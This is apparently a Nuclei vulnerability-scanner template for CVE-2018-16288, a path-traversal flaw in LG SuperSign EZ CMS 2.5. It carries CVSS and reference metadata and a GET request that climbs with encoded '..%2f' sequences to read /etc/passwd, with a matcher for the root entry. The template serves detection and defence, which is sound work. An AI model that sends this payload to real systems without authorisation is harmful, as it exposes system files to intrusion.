id: CVE-2018-16288

info:
  name: LG SuperSign EZ CMS 2.5 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of LG SuperSign EZ CMS.
  reference:
    - https://www.exploit-db.com/exploits/45440
    - http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16288
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2018-16288
    cwe-id: CWE-200
    epss-score: 0.35828
    epss-percentile: 0.98311
    cpe: cpe:2.3:a:lg:supersign_cms:2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lg
    product: supersign_cms
  tags: cve,cve2018,lfi,supersign,edb,lg,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022024c6d2b9a5f17d1631ba911bf9dde7ec4f07beba9167990e97003e162204eaf2022100a65dadcac56f8c0cddbc0c97e2a57caaf2f32dd31c43073acb495d618ded1e0d:922c64590222798bb761d5b6d8e72950